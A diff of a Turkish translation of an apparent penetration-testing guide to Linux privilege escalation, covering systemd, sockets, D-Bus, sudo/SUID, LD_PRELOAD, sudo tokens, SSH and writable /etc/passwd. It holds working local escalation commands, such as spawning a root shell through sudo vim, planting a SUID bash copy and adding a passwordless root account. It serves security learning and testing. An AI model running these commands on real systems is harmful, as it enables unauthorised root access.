> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, yalnızca sonek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı biriminin adı, sonek hariç aynı şekilde adlandırılması önerilir.
|
||||
> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, ancak son ek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birim adı, son ek hariç, aynı şekilde adlandırılması önerilir.
|
||||
|
||||
Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir:
|
||||
|
||||
- **yazılabilir bir ikili dosya** çalıştıran bir systemd birimi (örneğin bir `.service`) bulun
|
||||
- **göreli bir yolu** çalıştıran bir systemd birimi bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için)
|
||||
- **Yazılabilir bir ikili dosya** çalıştıran bir systemd birimi (örneğin bir `.service`) bulun
|
||||
- **Göreli bir yolu** çalıştıran bir systemd birimi bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için)
|
||||
|
||||
**Zamanlayıcılar hakkında daha fazla bilgi edinin `man systemd.timer`.**
|
||||
**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer` komutunu öğrenin.**
|
||||
|
||||
### **Zamanlayıcıyı Etkinleştirme**
|
||||
|
||||
@ -439,7 +439,7 @@ Not edin ki **zamanlayıcı**, `/etc/systemd/system/<WantedBy_section>.wants/<na
|
||||
|
||||
## Soketler
|
||||
|
||||
Unix Domain Sockets (UDS), **işlem iletişimi** için aynı veya farklı makinelerde istemci-sunucu modelleri içinde olanak tanır. Standart Unix tanımlayıcı dosyalarını kullanarak bilgisayarlar arası iletişim sağlarlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar.
|
||||
Unix Domain Sockets (UDS), **işlem iletişimi** için aynı veya farklı makinelerde istemci-sunucu modelleri içinde olanak tanır. Standart Unix tanımlayıcı dosyalarını kullanarak bilgisayarlar arası iletişim sağlar ve `.socket` dosyaları aracılığıyla yapılandırılır.
|
||||
|
||||
Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir.
|
||||
|
||||
@ -449,7 +449,7 @@ Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir.
|
||||
- `Accept`: Bir boolean argümanı alır. Eğer **doğruysa**, her gelen bağlantı için bir **hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlışsa**, tüm dinleme soketleri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
|
||||
- `ExecStartPre`, `ExecStartPost`: Dinleme **soketleri**/FIFOs **oluşturulmadan önce** veya **sonra** **çalıştırılan** bir veya daha fazla komut satırı alır. Komut satırının ilk token'ı mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir.
|
||||
- `ExecStopPre`, `ExecStopPost`: Dinleme **soketleri**/FIFOs **kapandıktan önce** veya **sonra** **çalıştırılan** ek **komutlar**.
|
||||
- `Service`: **Gelen trafiğe** göre **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (sonek değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır.
|
||||
- `Service`: **Gelen trafiğe** göre **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (sonek değiştirilmiş olarak) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır.
|
||||
|
||||
### Yazılabilir .socket dosyaları
|
||||
|
||||
@ -458,7 +458,7 @@ _Sistem, o soket dosyası yapılandırmasını kullanıyor olmalıdır, aksi tak
|
||||
|
||||
### Yazılabilir soketler
|
||||
|
||||
Eğer **herhangi bir yazılabilir soket** tespit ederseniz (_şimdi Unix Soketleri hakkında konuşuyoruz ve yapılandırma `.socket` dosyaları hakkında değil_), o zaman **bu soketle iletişim kurabilirsiniz** ve belki bir açığı istismar edebilirsiniz.
|
||||
Eğer **herhangi bir yazılabilir soket** (_şimdi Unix Soketleri hakkında konuşuyoruz ve yapılandırma `.socket` dosyaları hakkında değil_), o zaman **bu soketle iletişim kurabilirsiniz** ve belki bir açığı istismar edebilirsiniz.
|
||||
|
||||
### Unix Soketlerini Listele
|
||||
```bash
|
||||
@ -562,15 +562,15 @@ runc-privilege-escalation.md
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan karmaşık bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemini göz önünde bulundurarak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.
|
||||
D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan karmaşık bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.
|
||||
|
||||
Sistem çok yönlüdür, süreçler arasında veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketleri**ni andırır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz bir entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarının sessize geçmesini sağlayabilir ve kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır.
|
||||
Sistem çok yönlüdür, süreçler arasında veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketleri**ni andırır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarının sessize alınmasını sağlayarak kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır.
|
||||
|
||||
D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayma vb.) toplu olarak eşleşen politika kurallarının etkisine göre yöneten bir **izin/verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirler ve bu izinlerin istismar edilmesi yoluyla yetki yükseltmeye olanak tanıyabilir.
|
||||
D-Bus, mesaj izinlerini (metod çağrıları, sinyal yayma vb.) toplu olarak eşleşen politika kurallarının etkisine göre yöneten bir **izin/verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirler ve bu izinlerin istismar edilmesi yoluyla yetki yükseltmeye olanak tanıyabilir.
|
||||
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasındaki böyle bir politikanın örneği, root kullanıcısının `fi.w1.wpa_supplicant1`'den mesaj almasını, göndermesini ve sahip olmasını detaylandırmaktadır.
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasında, root kullanıcısının `fi.w1.wpa_supplicant1`'den mesaj alması, göndermesi ve sahip olması için izinleri detaylandıran bir politika örneği sağlanmıştır.
|
||||
|
||||
Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanır, "varsayılan" bağlam politikaları ise diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır.
|
||||
Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır.
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
@ -656,7 +656,7 @@ gpg --list-keys 2>/dev/null
|
||||
Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıkları artırmasına izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**Bunu kullanarak istismar et**: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Gruplar
|
||||
### Groups
|
||||
|
||||
Kök ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığınızı** kontrol edin:
|
||||
|
||||
@ -664,9 +664,9 @@ Kök ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığınızı** k
|
||||
interesting-groups-linux-pe/
|
||||
{{#endref}}
|
||||
|
||||
### Panoya
|
||||
### Clipboard
|
||||
|
||||
Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin.
|
||||
Pano içinde ilginç bir şey olup olmadığını kontrol edin (mümkünse)
|
||||
```bash
|
||||
if [ `which xclip 2>/dev/null` ]; then
|
||||
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
|
||||
@ -694,7 +694,7 @@ Eğer çok fazla gürültü yapmaktan rahatsız değilseniz ve `su` ile `timeout
|
||||
|
||||
### $PATH
|
||||
|
||||
Eğer **$PATH'in bazı klasörlerine yazabileceğinizi** bulursanız, **yazılabilir klasörde** farklı bir kullanıcı (ideali root) tarafından çalıştırılacak bir komutun adıyla bir arka kapı oluşturarak ayrıcalıkları artırma şansınız olabilir ve bu komut **yazılabilir klasörünüzden önce bulunan bir klasörden yüklenmiyor olmalıdır**.
|
||||
Eğer **$PATH'in bazı klasörlerine yazma izniniz olduğunu** bulursanız, **yazılabilir klasörde** farklı bir kullanıcı (ideali root) tarafından çalıştırılacak bir komutun adıyla bir arka kapı oluşturarak ayrıcalıkları artırabilirsiniz ve bu komut **yazılabilir klasörünüzden önce bulunan bir klasörden yüklenmiyor olmalıdır**.
|
||||
|
||||
### SUDO ve SUID
|
||||
|
||||
@ -720,7 +720,7 @@ $ sudo -l
|
||||
User demo may run the following commands on crashlab:
|
||||
(root) NOPASSWD: /usr/bin/vim
|
||||
```
|
||||
Bu örnekte `demo` kullanıcısı `vim`'i `root` olarak çalıştırabilir, artık bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell almak çok basit.
|
||||
Bu örnekte `demo` kullanıcısı `vim`'i `root` olarak çalıştırabilir, artık kök dizinine bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell almak çok kolaydır.
|
||||
```
|
||||
sudo vim -c '!sh'
|
||||
```
|
||||
@ -767,11 +767,11 @@ Bu teknik, bir **suid** ikili dosyası **yolu belirtmeden başka bir komut çal
|
||||
|
||||
[Çalıştırılacak yük örnekleri.](payloads-to-execute.md)
|
||||
|
||||
### Komut yolu ile SUID ikilisi
|
||||
### Komut yolu ile SUID ikili dosyası
|
||||
|
||||
Eğer **suid** ikilisi **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz.
|
||||
Eğer **suid** ikili dosyası **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz.
|
||||
|
||||
Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz:
|
||||
Örneğin, eğer bir suid ikili dosyası _**/usr/sbin/service apache2 start**_ çağrıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
@ -780,12 +780,12 @@ Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırı
|
||||
|
||||
### LD_PRELOAD & **LD_LIBRARY_PATH**
|
||||
|
||||
**LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşılan kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir.
|
||||
**LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşımlı kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir.
|
||||
|
||||
Ancak, sistem güvenliğini korumak ve bu özelliğin kötüye kullanılmasını önlemek için, özellikle **suid/sgid** yürütülebilir dosyalarla ilgili olarak, sistem belirli koşulları zorunlu kılar:
|
||||
Ancak, sistem güvenliğini korumak ve bu özelliğin özellikle **suid/sgid** yürütülebilir dosyalarla istismar edilmesini önlemek için, sistem belirli koşulları zorunlu kılar:
|
||||
|
||||
- Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'u dikkate almaz.
|
||||
- Suid/sgid olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir.
|
||||
- SUID/SGID'ye sahip yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir.
|
||||
|
||||
Yetki yükseltmesi, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir.
|
||||
```
|
||||
@ -892,7 +892,7 @@ bu, oluşturduğunuz kütüphanenin `a_function_name` adında bir işlev içerme
|
||||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) bir saldırganın yerel güvenlik kısıtlamalarını aşmak için istismar edebileceği Unix ikili dosyalarının derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise yalnızca bir komuta **argüman enjekte edebileceğiniz** durumlar için aynıdır.
|
||||
[**GTFOBins**](https://gtfobins.github.io), bir saldırganın yerel güvenlik kısıtlamalarını aşmak için istismar edebileceği Unix ikili dosyalarının derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise yalnızca bir komuta **argüman enjekte edebileceğiniz** durumlar için aynıdır.
|
||||
|
||||
Proje, kısıtlı shell'lerden çıkmak, ayrıcalıkları yükseltmek veya sürdürmek, dosya transferi yapmak, bind ve reverse shell'ler oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru işlevlerini toplar.
|
||||
|
||||
@ -928,7 +928,7 @@ Ayrıcalıkları yükseltmek için gereksinimler:
|
||||
|
||||
Tüm bu gereksinimler karşılandığında, **şu şekilde ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- **ilk istismar** (`exploit.sh`) _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın):
|
||||
- **ilk istismar** (`exploit.sh`), _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
@ -946,7 +946,7 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Kullanıcı Adı>
|
||||
|
||||
Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\
|
||||
Eğer klasörde veya klasör içindeki herhangi bir oluşturulmuş dosyada **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\
|
||||
Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları** elde edebilirsiniz:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
@ -954,7 +954,7 @@ Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\
|
||||
**Eğer** bu dosyayı **okuyabiliyorsanız**, bazı **ilginç bilgilere ulaşabilirsiniz** ve eğer herhangi bir dosyayı **yazabiliyorsanız**, **yetkileri artırma** imkanına sahip olursunuz.
|
||||
**Eğer** bu dosyayı **okuyabiliyorsanız**, bazı ilginç bilgilere **ulaşabilirsiniz** ve eğer herhangi bir dosyayı **yazabiliyorsanız**, **yetkileri yükseltebilirsiniz**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak yetkileri artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo çalıştırılabilir dosyası** oluşturabilirsiniz. Sonra, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo çalıştırılabilir dosyanız çalıştırılır.
|
||||
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak yetkileri artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **kendi kodunuzu root olarak çalıştıracak yeni bir sudo yürütülebilir dosya** oluşturabilirsiniz ve ardından kullanıcının komutunu çalıştırabilirsiniz. Sonra, **kullanıcı bağlamının $PATH'ini** değiştirin (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo yürütülebilir dosyanız çalıştırılır.
|
||||
|
||||
Kullanıcının farklı bir shell (bash değil) kullanması durumunda, yeni yolu eklemek için diğer dosyaları da değiştirmeniz gerekecektir. Örneğin, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz.
|
||||
|
||||
@ -1002,12 +1002,12 @@ sudo ls
|
||||
|
||||
### ld.so
|
||||
|
||||
Dosya `/etc/ld.so.conf`, **yüklenen yapılandırma dosyalarının nereden geldiğini** gösterir. Genellikle, bu dosya aşağıdaki yolu içerir: `include /etc/ld.so.conf.d/*.conf`
|
||||
Dosya `/etc/ld.so.conf`, **yüklenen yapılandırma dosyalarının nereden geldiğini** belirtir. Genellikle, bu dosya aşağıdaki yolu içerir: `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** **işaret eder**. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dir. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.**
|
||||
Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** işaret eder. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dır. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.**
|
||||
|
||||
Eğer bir nedenle **bir kullanıcının yazma izinleri** belirtilen yollardan herhangi birinde varsa: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetkileri artırma imkanı olabilir.\
|
||||
Aşağıdaki sayfada **bu yanlış yapılandırmayı nasıl istismar edeceğinize** bir göz atın:
|
||||
Herhangi bir nedenle, **bir kullanıcının yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetkileri artırma imkanı olabilir.\
|
||||
Bu yanlış yapılandırmayı **nasıl istismar edeceğinizi** aşağıdaki sayfada inceleyin:
|
||||
|
||||
{{#ref}}
|
||||
ld.so.conf-example.md
|
||||
@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
|
||||
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x005bb000)
|
||||
```
|
||||
`lib`'i `/var/tmp/flag15/` içine kopyalayarak, `RPATH` değişkeninde belirtildiği gibi program tarafından bu yerde kullanılacaktır.
|
||||
`lib`'i `/var/tmp/flag15/` içine kopyalayarak, `RPATH` değişkeninde belirtilen bu yerde program tarafından kullanılacaktır.
|
||||
```
|
||||
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
|
||||
|
||||
@ -1049,7 +1049,7 @@ execve(file,argv,0);
|
||||
## Yetenekler
|
||||
|
||||
Linux yetenekleri, bir **işleme mevcut root ayrıcalıklarının bir alt kümesini** sağlar. Bu, root **ayrıcalıklarını daha küçük ve belirgin birimlere** ayırır. Bu birimlerin her biri bağımsız olarak işlemlere verilebilir. Bu şekilde, ayrıcalıkların tam seti azaltılır ve istismar riskleri düşer.\
|
||||
Daha fazla bilgi için **yetenekler ve bunların nasıl kötüye kullanılacağı hakkında** aşağıdaki sayfayı okuyun:
|
||||
Daha fazla bilgi için **yetenekler hakkında daha fazla bilgi edinmek ve bunları nasıl kötüye kullanacağınızı öğrenmek için** aşağıdaki sayfayı okuyun:
|
||||
|
||||
{{#ref}}
|
||||
linux-capabilities.md
|
||||
@ -1057,8 +1057,8 @@ linux-capabilities.md
|
||||
|
||||
## Dizin izinleri
|
||||
|
||||
Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının klasöre "**cd**" yapabileceğini belirtir.\
|
||||
**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **silme** ve **yeni dosyalar oluşturma** yetkisine sahip olduğunu belirtir.
|
||||
Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **"cd"** komutunu kullanarak klasöre girebileceğini belirtir.\
|
||||
**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar oluşturabileceğini** belirtir.
|
||||
|
||||
## ACL'ler
|
||||
|
||||
@ -1078,7 +1078,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
## Açık shell oturumları
|
||||
|
||||
**Eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **ele geçirebilirsiniz**.\
|
||||
**En yeni sürümlerde** yalnızca **kendi kullanıcınızın** ekran oturumlarına **bağlanabileceksiniz**. Ancak, **oturum içinde ilginç bilgiler** bulabilirsiniz.
|
||||
**En yeni sürümlerde** yalnızca **kendi kullanıcınızın** ekran oturumlarına **bağlanabileceksiniz**. Ancak, **oturumun içinde ilginç bilgiler** bulabilirsiniz.
|
||||
|
||||
### ekran oturumlarını ele geçirme
|
||||
|
||||
@ -1124,22 +1124,22 @@ Check **Valentine box from HTB** for an example.
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) üretilen tüm SSL ve SSH anahtarları bu hatadan etkilenebilir.\
|
||||
Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydana gelir, çünkü **yalnızca 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarına sahip olduğunuzda, karşılık gelen özel anahtarı arayabilirsiniz**. Hesaplanan olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydana gelir, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarına sahip olduğunuzda, karşılık gelen özel anahtarı arayabilirsiniz**. Hesaplanan olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH İlginç yapılandırma değerleri
|
||||
|
||||
- **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `hayır`dır.
|
||||
- **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `evet`dir.
|
||||
- **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `hayır`dır.
|
||||
- **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `no`'dur.
|
||||
- **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `yes`'dir.
|
||||
- **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`'dur.
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `hayır`dır. Olası değerler:
|
||||
Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`'dur. Olası değerler:
|
||||
|
||||
- `evet`: root parola ve özel anahtar kullanarak giriş yapabilir
|
||||
- `yes`: root parola ve özel anahtar kullanarak giriş yapabilir
|
||||
- `without-password` veya `prohibit-password`: root yalnızca özel anahtar ile giriş yapabilir
|
||||
- `forced-commands-only`: Root yalnızca özel anahtar kullanarak ve komut seçenekleri belirtilmişse giriş yapabilir
|
||||
- `hayır`: hayır
|
||||
- `no` : hayır
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
@ -1160,7 +1160,7 @@ ForwardAgent yes
|
||||
```
|
||||
Dikkat edin ki, eğer `Host` `*` ise, kullanıcı farklı bir makineye geçtiğinde, o host anahtarları erişebilecektir (bu bir güvenlik sorunudur).
|
||||
|
||||
Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya reddedebilir.\
|
||||
Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\
|
||||
Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine **izin verebilir** veya **reddedebilir** (varsayılan izin ver).
|
||||
|
||||
Eğer Forward Agent'ın bir ortamda yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** dolayı aşağıdaki sayfayı okuyun:
|
||||
@ -1214,7 +1214,7 @@ UYARI: mevcut makinenin güvenliğini azaltabilirsiniz.
|
||||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||||
su - dummy
|
||||
```
|
||||
